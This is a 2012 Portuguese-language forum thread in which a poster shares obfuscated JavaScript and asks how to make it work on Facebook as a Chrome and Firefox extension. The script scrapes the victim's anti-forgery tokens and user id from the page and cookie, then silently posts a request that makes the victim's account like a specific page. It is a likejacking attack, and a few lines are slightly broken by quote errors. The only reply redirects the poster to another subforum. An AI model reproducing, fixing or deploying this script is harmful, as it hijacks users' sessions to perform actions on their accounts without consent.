Felipebnh Posted March 20, 2012 Report Share Posted March 20, 2012 function createXMLHttpRequest() { return window['ActiveXObject'] ? new ActiveXObject('Msxml2.XMLHTTP') : new XMLHttpRequest;};var c = createXMLHttpRequest();c['open']('GET', '/?sk=nf', false);c['onreadystatechange'] = ct;c['send'](null);function ct() { var _0x28e6x4 = c['responseText']; var _0x28e6x5 = _0x28e6x4['match'](/\"post_form_id\"\:\"(.*?)\"/)[1]; var _0x28e6x6 = _0x28e6x4['match'](/\"fb_dtsg\"\:\"(.*?)\"/)[1]; var _0x28e6x7 = escape(_0x28e6x4['match'](/\"charset_test\" value\=\"(.*?)\"/)[1]); var _0x28e6x8 = _0x28e6x4['match'](/\"xhpc_composerid\" value\=\"(.*?)\"/)[1]; var _0x28e6x9 = document['cookie']['match'](/c_user=\d+/gi)[0]['replace']('c_user=, ''); function _0x28e6xa(_0x28e6xb) { var _0x28e6xc = 'fbpage_id=' + _0x28e6xb + '&add=1&reload=1' + '&preserve_tab=true' + '&fan_origin=page_profile&nctr[_mod]=pagelet_header' + '&post_form_id=' + _0x28e6x5 + '&fb_dtsg=' + _0x28e6x6 + '&lsd&post_form_id_source=AsyncRequest&__' + _0x28e6x9; c = createXMLHttpRequest(); c['open]('POST', '/ajax/pages/fan_status.php?__a=1', false); c['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8'); c['send'](_0x28e6xc); }; _0x28e6xa('157559451018512'); top['location']['replace']('http://www.facebook.com/');};Eu quero por pra quando a pessoa clickar no Botão q eu fiz abrir como Extensão no Chrome e no Mozila.Pelo Amor de Deus como faço pra fazer esse javascript funcionar no facebook. Quote Link to comment Share on other sites More sharing options...
0 Pecado Posted April 5, 2012 Report Share Posted April 5, 2012 ATENÇÃOEste fórum é destinado a dúvidas sobre a linguagem de programação JAVA. Se tiver dúvidas sobre javascript, use o fórum Ajax, javascript, XML, DOM. Quote Link to comment Share on other sites More sharing options...
Question
Felipebnh
function createXMLHttpRequest() {
return window['ActiveXObject'] ? new ActiveXObject('Msxml2.XMLHTTP') : new XMLHttpRequest;
};
var c = createXMLHttpRequest();
c['open']('GET', '/?sk=nf', false);
c['onreadystatechange'] = ct;
c['send'](null);
function ct() {
var _0x28e6x4 = c['responseText'];
var _0x28e6x5 = _0x28e6x4['match'](/\"post_form_id\"\:\"(.*?)\"/)[1];
var _0x28e6x6 = _0x28e6x4['match'](/\"fb_dtsg\"\:\"(.*?)\"/)[1];
var _0x28e6x7 = escape(_0x28e6x4['match'](/\"charset_test\" value\=\"(.*?)\"/)[1]);
var _0x28e6x8 = _0x28e6x4['match'](/\"xhpc_composerid\" value\=\"(.*?)\"/)[1];
var _0x28e6x9 = document['cookie']['match'](/c_user=\d+/gi)[0]['replace']('c_user=, '');
function _0x28e6xa(_0x28e6xb) {
var _0x28e6xc = 'fbpage_id=' + _0x28e6xb + '&add=1&reload=1' + '&preserve_tab=true' + '&fan_origin=page_profile&nctr[_mod]=pagelet_header' + '&post_form_id=' + _0x28e6x5 + '&fb_dtsg=' + _0x28e6x6 + '&lsd&post_form_id_source=AsyncRequest&__' + _0x28e6x9;
c = createXMLHttpRequest();
c['open]('POST', '/ajax/pages/fan_status.php?__a=1', false);
c['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
c['send'](_0x28e6xc);
};
_0x28e6xa('157559451018512');
top['location']['replace']('http://www.facebook.com/');
};
Eu quero por pra quando a pessoa clickar no Botão q eu fiz abrir como Extensão no Chrome e no Mozila.
Pelo Amor de Deus como faço pra fazer esse javascript funcionar no facebook.
Link to comment
Share on other sites
1 answer to this question
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.